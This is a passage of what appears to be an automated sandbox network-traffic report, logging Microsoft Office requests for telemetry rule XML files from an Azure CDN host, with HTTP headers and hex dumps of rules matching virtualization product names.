68	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:08 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181508Z-r1d97b99577mrt4rhC1TEBftkc00000007hg00000000kpdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:08 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181508Z-1777c6cb754vxwc9hC1TEBykgw00000008b000000000u5rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:08 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181508Z-r1d97b99577656nchC1TEBk98c00000007t0000000009me2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:08 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181508Z-185f5d8b95c96jn4hC1NYCbgp8000000092000000000p27e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:09 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:09 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181509Z-185f5d8b95c4hl5whC1NYCeex0000000093g000000000fv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:09 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:09 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:09 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181509Z-1777c6cb7544n7p6hC1TEByvb400000008kg00000000er8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:09 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:09 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:09 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181509Z-1777c6cb754j8gqphC1TEB5bf800000008b000000000hhvy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:09 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:09 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181509Z-185f5d8b95cx9g8lhC1NYCtgvc00000001hg00000000080a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:09 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:09 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181509Z-1777c6cb754j47wfhC1TEB5wrw00000004c0000000002v54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:09 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:09 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181509Z-185f5d8b95cf7qddhC1NYC66an000000097g000000003ude x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-1777c6cb754b7tdghC1TEBwwa400000008fg00000000rnrr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:09 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-185f5d8b95c68cvnhC1NYCfn7s0000000960000000000u6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 